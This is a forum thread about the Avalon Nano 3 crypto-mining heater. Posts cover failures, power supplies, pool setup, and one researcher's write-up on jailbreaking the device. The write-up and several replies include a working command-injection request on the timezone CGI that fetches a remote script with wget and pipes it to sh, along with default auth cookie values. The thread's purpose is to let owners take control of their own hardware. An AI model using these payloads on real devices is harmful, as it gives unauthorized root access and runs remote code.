Avalon Nano 3 [unofficial thread]

[floridaman86]

I have 2 nano 3, one about 4 months old, and the other is about 8 or 9 months old.
The older one this morning stop working, and I cannot reconnect it to the Wi-Fi.
Any idea how to get it reconnected? Is this a known problem?

---
after t rying to get it connected to the wifi off and on all day, I noticed the nano seems to be rebooting every couple of minutes on its own. Has this happened to anyone else?

[socram8888]

Alright, I just registered to post here some research I've done. I've published it at my personal page, but I'll mirror it verbatim also here for your convenience. It might explain why many of your devices died, and how to prevent that in the future:


The Avalon Nano3 is a SHA256 cryptocurrency miner developed by Canaan. The efficiency isn't stellar by any means compared to other modern miners, but it is sold as a small heater, and it does a pretty good job at that.

The device has:

• A Canaan Kendryte K230 SoC, with a 1.6GHz RISC-V processor.
• 128MB of RAM.
• 128MB of NAND FLASH for the firmware (U-Boot, filesystem, kernel and settings).
• 10x A3198 SHA256 ASICs, for a peak performance of 4TH/s.

Gaining SSH access

The Nano3 has many security issues. Lots of them.

One which we can easily exploit to gain SSH access on the device is an unchecked system(3) function call that the device uses to update the timezone.

When you update the timezone from the web interface, a POST request like the following is issued:

Code:

curl 'http://<miner IP>/timezoneconf.cgi' \
  -b 'auth=ff0000ff4813494d137e1631bba301d5' \
  --data-raw 'timezone=Etc%2FUTC'

That timezone is passed unchecked to the following function:

Code:

uint8_t set_timezone(const char *timezone) {
    char cmd[256];
    memset(cmd, 0, sizeof(cmd));
    sprintf(cmd, "ln -sf /usr/share/zoneinfo/%s /etc/localtime", timezone);
    system(cmd);
    return 0;
}

Of course, there is nothing preventing us from passing something else than a timezone, running arbitrary code on the device.

The function that calls set_timezone uses a small 64-byte buffer to store the timezone (of course with no boundary checks!), so we cannot fit in there a whole ass jailbreak script. However, it is enough to fit a small script that fetches the true jailbreak from the internet.

If you haven't changed the original password on the device (root), this cURL call will trigger a fetch to https://xn--i29h.ge/n.sh, then execute it:

Code:

curl 'http://<miner IP>/timezoneconf.cgi' \
  -b 'auth=ff0000ff4813494d137e1631bba301d5' \
  --data-raw 'timezone=%3Bwget%20http%3A%2F%2Fxn--i29h.ge%2Fn.sh%20-O-%7Csh%3B'

Alternatively, you can also trigger it from your web browser's JavaScript console. Just log into your device, then paste:

Code:

await fetch("/timezoneconf.cgi", {
  "body": "timezone=" + encodeURIComponent(";wget http://xn--i29h.ge/n.sh -O-|sh;"),
  "method": "POST"
});

The payload has comments, so feel free to check it, but it:

• Changes the admin user password to admin. The original password hash is $5$1N6rEpvUXco$0QAASdP5iZRPWxgmAZQkTC0FM8GGw6L7HnprqT7Ll72 which I've not cracked.
• Generates a new ED25519 host key.
• Creates the jail environment the SSH daemon expects.
• Configures SSH as a init service.
• Launches the SSH service, so you don't have to reboot.

After running the command, you should be able to connect via SSH. Once SSH works, remember to configure again the correct timezone!

https://orca.pet/nanojb/ssh.png?_=bee99b6c86a0

Reduce flash wear

From factory, the miner performs multiple unnecessary writes to flash.

This a pretty serious problem because it uses a NAND flash IC, which are generally rated for only about 1k to 10k writes per sector. Even with UBI's wear leveling, this still causes some serious and unnecessary stress on the flash that can and will cut short the lifespan of the miner.

After running any of the scripts below, you have to reboot the device for changes to be applied, preferrably via SSH using the reboot command or the web interface. Do not yank out the power cable that, as that could corrupt the new scripts if done in the middle of a flush to flash.

Logs to RAM

The worst offender is the logging. Every single log line, such as "share accepted" or "current hash rate", is saved to flash. That results in multiple erase/write cycles times per second.

To fix the issue, it is possible to simply move the log folder from flash to RAM by creating a symbolic link. This means logs no longer cause any flash writes, but they are also no longer kept between reboots of the device.

Connect via SSH, and then just paste this script in the terminal:

Code:

sudo tee /etc/init.d/S51zlog.sh <<EOF >/dev/null
if ! [ -L /data/log ]; then
    rm -rf /data/log
    ln -s /tmp/zlog /data/log
fi
mkdir /tmp/zlog
EOF

If you're worried about RAM usage from the logs causing some instability, it's quite unlikely. Logs are limited to 6MB, and if you run free -m you'll see more than half the RAM sits unused.

Disable shell history

Another thing you can consider doing is disabling the shell command history file, which also logs to flash every single command you type via SSH. The following script (that also needs to run as root) does so:

Code:

echo "export HISTFILE=" | sudo tee /etc/profile.d/no-history.sh >/dev/null

Supply chain attacks

The firmware web interface in multiple spots loads JavaScript files from a remote CDN without a specifying an exact version, and without an integrity check.

A rogue lead developer/maintainer of the dependencies could then publish a version of the libraries infected with malware that, when an user accessed the web GUI, gave him full control of the device.

You think it's unlikely? Already. Happened. Multiple. Times.

This (long) script fixes the version of the dependencies, adds integrity checks and removes referrers to remote CDNs for privacy:

Code:

sed -i \
    -e 's#"https://cdn.jsdelivr.net/npm/chart.js@4.2.1/dist/chart.umd.min.js"#"https://cdnjs.cloudflare.com/ajax/libs/Chart.js/4.2.1/chart.umd.min.js" integrity="sha512-GCiwmzA0bNGVsp1otzTJ4LWQT2jjGJENLGyLlerlzckNI30moi2EQT0AfRI7fLYYYDKR+7hnuh35r3y1uJzugw==" crossorigin="anonymous" referrerpolicy="no-referrer"#' \
    -e 's#"https://cdn.jsdelivr.net/npm/chartjs-plugin-datalabels@2"#"https://cdnjs.cloudflare.com/ajax/libs/chartjs-plugin-datalabels/2.2.0/chartjs-plugin-datalabels.min.js" integrity="sha512-JPcRR8yFa8mmCsfrw4TNte1ZvF1e3+1SdGMslZvmrzDYxS69J7J49vkFL8u6u8PlPJK+H3voElBtUCzaXj+6ig==" crossorigin="anonymous" referrerpolicy="no-referrer"#' \
    -e 's#"https://cdn.jsdelivr.net/npm/luxon@^2"#"https://cdnjs.cloudflare.com/ajax/libs/luxon/2.5.2/luxon.min.js" integrity="sha512-a1S2Hm5CJEfm+1dEJFoFXfvE4Q9D3CiHSF/GBR02ZMkiz40aRXRti0Ht+nMm2nyVpl5AFatAxsBzgvOchLnQ5g==" crossorigin="anonymous" referrerpolicy="no-referrer"#' \
    -e 's#"https://cdn.jsdelivr.net/npm/chartjs-adapter-luxon@^1"#"https://cdnjs.cloudflare.com/ajax/libs/chartjs-adapter-luxon/1.3.1/chartjs-adapter-luxon.umd.min.js" integrity="sha512-I8SeDoNxRKOuQMhqHmx95hydiG/LCY9SFCs3cqAf+f1kIZbAyXXIXIIwgx32ZIgZpOVrEOHSfyjeKxRNIuBvWQ==" crossorigin="anonymous" referrerpolicy="no-referrer"#' \
    /mnt/heater/www/html/overview.html
sed -i \
    -e 's#"https://cdn.jsdelivr.net/npm/jquery@3.5.1/dist/jquery.slim.min.js"#"https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.0/jquery.min.js" integrity="sha512-k2WPPrSgRFI6cTaHHhJdc8kAXaRM4JBFEDo1pPGGlYiOyv4vnA0Pp0G5XMYYxgAPmtmv/IIaQA6n5fLAyJaFMA==" crossorigin="anonymous" referrerpolicy="no-referrer"#' \
    -e 's#"https://cdn.jsdelivr.net/npm/bootstrap@4.6.2/dist/js/bootstrap.bundle.min.js"#"https://cdnjs.cloudflare.com/ajax/libs/bootstrap/4.6.2/js/bootstrap.bundle.min.js" integrity="sha512-igl8WEUuas9k5dtnhKqyyld6TzzRjvMqLC79jkgT3z02FvJyHAuUtyemm/P/jYSne1xwFI06ezQxEwweaiV7VA==" crossorigin="anonymous" referrerpolicy="no-referrer"#' \
    /mnt/heater/www/html/upgrade.html

Restore original firmware

The Android application fetches https://sinh1-aws-app01.s3.ap-southeast-1.amazonaws.com/app/update.json to detect firmware updates. To restore the OEM firmware, just download the .swu file linked in the JSON and upload it via the swupdate interface exposed at http://<miner IP>:9090/.

As a side note: firmwares are signed using a RSA key, so custom firmwares would require SSH access and some patching of the swupdate binary.

Footnote

As I've proven here, the device is incredibly insecure. Do not, under any circumstance, use it on an untrusted network.

[CryptoCellLabs]

It is important for me that traffic goes through TOR. My ISP blocks all mining pools using the DPI system.

I need the traffic to go encrypted through the TOR. How can I set a proxy server on this device?

You can't. It does not have that ability. Best you can do is use a different ISP.

tip: in cases like this it would be a GREAT help if:
a. you say what country you are in
b. give the name of the offending ISP

Most countries and ISP's do not care if you mine so frankly most folks here have never had those problems.

Can I run my own mining pool on a computer on a local network and redirect traffic from it to another mining pool via the Tor network?

To your question, yes of course, but I bet people could help you much better if you answer NotFuzzyWarm's questions.

How do I setup Avalon Nano 3 to work with Bitcoin Core v.27
I changed the configuration Bitcoin Core v.27:

server=1
listen=1
daemon=1
rpcuser=USER
rpcpassword=PASS
rpcallowip=192.168.1.3
rpcallowip=192.168.1.0/255.255.255.0
rpcallowip=127.0.0.1
rpcbind=192.168.1.2
rpcport=3333

I changed the configuration Avalon Nano 3:
-o http://192.168.1.2:3333 -u USER -p PASS --btc-address XXXXXXXXXXX


But it still doesn't work.

You need to install https://umbrel.com/ on the Raspberry Pi, then install the Public Pool component inside, and then use Nano3 to point to the local Public Pool

[ledoubiste]

je viens de recevoir mon nano3, j'ai le problème de perte de connections au reboot,  c'est tout bête mais ca marche

la solution est : votre mot de passe personnel wifi contient un #
supprimer le # et modifier votre mot de passe wifi personnel

et le nano 3 fonctionnera correctement au démarrage

[NotFuzzyWarm]

je viens de recevoir mon nano3, j'ai le problème de perte de connections au reboot,  c'est tout bête mais ca marche

la solution est : votre mot de passe personnel wifi contient un #
supprimer le # et modifier votre mot de passe wifi personnel

et le nano 3 fonctionnera correctement au démarrage

This is an English speaking Forum. Either please use a translator when you post or restrict the posts to the French area of the Forum.

[zhzz]

I got 5 Nano 3 with their PSU.
All running on high for months with no problems.
The new mini 37.5 TH/s looks interesting

Mine were good for 6-7 months they are dead.

Yours will likely die before july

I just got mine second hand and are planning to run them on high. So you mean the USB jack will not last? Just solder on another one or even change it to a barrel jack? The hardware itself shouldn't be "dead" at all. These ASIC chips are usually VERY hard to kill and work under lots of heat in industrial settings.

[hawer357]

I got 5 Nano 3 with their PSU.
All running on high for months with no problems.
The new mini 37.5 TH/s looks interesting

Mine were good for 6-7 months they are dead.

Yours will likely die before july

I just got mine second hand and are planning to run them on high. So you mean the USB jack will not last? Just solder on another one or even change it to a barrel jack? The hardware itself shouldn't be "dead" at all. These ASIC chips are usually VERY hard to kill and work under lots of heat in industrial settings.

the nano 3 is using PD protocol, you can't just solder a barrel jack. if the USB-C port is damaged, you can of course resolder a new one, but changing it to a barrel jack is no good idea in this case.

[bubbAJoe]

My Nano3 ran fine on high for several months and then it dropped the wifi connection.  Resetting it and factory resetting it did nothing.  It would not retain my wifi settings.

So I used the recovery tool and it's back working normally now!!  We'll see how long this lasts....

[ovydyu1985]

Can tell someone if firmware version 2024071801_201556 is before or after 24071801_42c628d?

[Obyboby]

Alright, I just registered to post here some research I've done. I've published it at my personal page, but I'll mirror it verbatim also here for your convenience. It might explain why many of your devices died, and how to prevent that in the future:

Hello! Thank you so much for this. Impressive work!
SSH is quite useful, I would like to find the log files in order to start collecting data about the mining and hardware.
Do you happen to know how? It keeps sending me to login page even when I test connection using curl, I also tried adding auth= and using the hash obtained by using my own password, to no avail.
Also do you think there’s a way to play with core clock and voltage in these?

[PakoTor]

Code:
curl 'http://<miner IP>/timezoneconf.cgi' \
  -b 'auth=ff0000ff4813494d137e1631bba301d5' \
  --data-raw 'timezone=%3Bwget%20http%3A%2F%2Fxn--i29h.ge%2Fn.sh%20-O-%7Csh%3B'

That sounds interesting.
I tried it but got an error 'Not found' from this first curl command.

The one for timezone works.

I switch the password back to root so I'm guessing it's not fetching your link?
I ran that in Linux terminal.
Is your link up and running?


Sorry I'm a real beginner.


For these next steps, are you able to give more details on how to do that?
<
1 - Changes the admin user password to admin. The original password hash is $5$1N6rEpvUXco$0QAASdP5iZRPWxgmAZQkTC0FM8GGw6L7HnprqT7Ll72 which I've not cracked.
2 - Generates a new ED25519 host key.
3 - Creates the jail environment the SSH daemon expects.
4 - Configures SSH as a init service.
5 - Launches the SSH service, so you don't have to reboot.
>

Thanks

[cameloid]

They patched up some security holes in the latest firmware 24071801_42c628d. So that exploit from earlier doesn't work anymore, bummer!

[PakoTor]

Damn it.
They're probably spying on here and fixed it after. 🤦

[AkiAfroo]

Code:
curl 'http://<miner IP>/timezoneconf.cgi' \
  -b 'auth=ff0000ff4813494d137e1631bba301d5' \
  --data-raw 'timezone=%3Bwget%20http%3A%2F%2Fxn--i29h.ge%2Fn.sh%20-O-%7Csh%3B'

change the webpass is after auth= from

Code:

ff0000ff4813494d137e1631bba301d5

to

Code:

ff0000ffe489f84c23a6fbd9017f631a

for nano3s
use

Code:

8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918

after that should work.

about the last part of your post:

what this code

Code:

curl 'http://<miner IP>/timezoneconf.cgi' \
  -b 'auth=ff0000ff4813494d137e1631bba301d5' \
  --data-raw 'timezone=%3Bwget%20http%3A%2F%2Fxn--i29h.ge%2Fn.sh%20-O-%7Csh%3B'

do is download a file called n.sh and execute it. here is the decoded url

Code:

wget http://xn--i29h.ge/n.sh -O- | sh

inside that n.sh file are all the commands well explained for to get the admin access. (in short, that n.sh file do all the steps you are asking more explanation.)

if you just want to review the n.sh file before just download with

Code:

wget http://xn--i29h.ge/n.sh

another alternative is create a python local server and load that file from your computer.

cheers.

[PakoTor]

Code:
curl 'http://<miner IP>/timezoneconf.cgi' \
  -b 'auth=ff0000ff4813494d137e1631bba301d5' \
  --data-raw 'timezone=%3Bwget%20http%3A%2F%2Fxn--i29h.ge%2Fn.sh%20-O-%7Csh%3B'

change the webpass is after auth= from

Code:

ff0000ff4813494d137e1631bba301d5

to

Code:

ff0000ffe489f84c23a6fbd9017f631a

for nano3s
use

Code:

8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918

after that should work.

about the last part of your post:

what this code

Code:

curl 'http://<miner IP>/timezoneconf.cgi' \
  -b 'auth=ff0000ff4813494d137e1631bba301d5' \
  --data-raw 'timezone=%3Bwget%20http%3A%2F%2Fxn--i29h.ge%2Fn.sh%20-O-%7Csh%3B'

do is download a file called n.sh and execute it. here is the decoded url

Code:

wget http://xn--i29h.ge/n.sh -O- | sh

inside that n.sh file are all the commands well explained for to get the admin access. (in short, that n.sh file do all the steps you are asking more explanation.)

if you just want to review the n.sh file before just download with

Code:

wget http://xn--i29h.ge/n.sh

another alternative is create a python local server and load that file from your computer.

cheers.

Still not working.
I get a bunch of html codes which seems to be the Avalon login page.
Maybe they did patch this.
Thanks anyway

[AkiAfroo]

Code:
curl 'http://<miner IP>/timezoneconf.cgi' \
  -b 'auth=ff0000ff4813494d137e1631bba301d5' \
  --data-raw 'timezone=%3Bwget%20http%3A%2F%2Fxn--i29h.ge%2Fn.sh%20-O-%7Csh%3B'

change the webpass is after auth= from

Code:

ff0000ff4813494d137e1631bba301d5

to

Code:

ff0000ffe489f84c23a6fbd9017f631a

for nano3s
use

Code:

8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918

after that should work.

about the last part of your post:

what this code

Code:

curl 'http://<miner IP>/timezoneconf.cgi' \
  -b 'auth=ff0000ff4813494d137e1631bba301d5' \
  --data-raw 'timezone=%3Bwget%20http%3A%2F%2Fxn--i29h.ge%2Fn.sh%20-O-%7Csh%3B'

do is download a file called n.sh and execute it. here is the decoded url

Code:

wget http://xn--i29h.ge/n.sh -O- | sh

inside that n.sh file are all the commands well explained for to get the admin access. (in short, that n.sh file do all the steps you are asking more explanation.)

if you just want to review the n.sh file before just download with

Code:

wget http://xn--i29h.ge/n.sh

another alternative is create a python local server and load that file from your computer.

cheers.

Still not working.
I get a bunch of html codes which seems to be the Avalon login page.
Maybe they did patch this.
Thanks anyway

np mate,

i flashed the last firmware

Code:

24071801_42c628d

and still was able to get an admin shell.

cheers, btw. you don't missed nothing getting shell access. Have fun!

[Sledge0001]

Seems like the latest firmware doesn't play well with backup pools.

Tested on 2 separate pools and the same result the unit hangs on pool 1 even after 10 minutes of pool 1 being offline.

Oddly enough this does not happen on the mini.

[cameloid]

for nano3s
use

Code:

8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918

after that should work.

Hey, could you provide a bit more details on exploiting the Nano 3S? Its web UI is quite different from the Nano 3, so the timezone hack isn't applicable here.

[ControlYourDreams]

Hi guys! I have a problem with burn out usb-c cable on the psu, its seems to be common problem (living in Europe), I need advice, I found this: HP 2x460W PSU Avalon Nano 3, but then I search for alternative and "eureka" I found cheap server psu brand HP  Model: Workstation xw4400 | DPS-460CB Grade A from a store with 1m warranty.
Guys if i solder usb-c type cable(something better and not so thin the cable usb-c 240W for i.e.) for this psu, will it run at high speed? Any help will be gladly appreciate!

[ajaxtempest]

Hi guys! I have a problem with burn out usb-c cable on the psu, its seems to be common problem (living in Europe), I need advice, I found this: HP 2x460W PSU Avalon Nano 3, but then I search for alternative and "eureka" I found cheap server psu brand HP  Model: Workstation xw4400 | DPS-460CB Grade A from a store with 1m warranty.
Guys if i solder usb-c type cable(something better and not so thin the cable usb-c 240W for i.e.) for this psu, will it run at high speed? Any help will be gladly appreciate!

get dell 165w adapter.
https://www.dell.com/en-us/shop/dell-usb-c-165-w-gan-ac-adapter-with-1-meter-power-cord-north-america/apd/450-bbwr/pc-accessories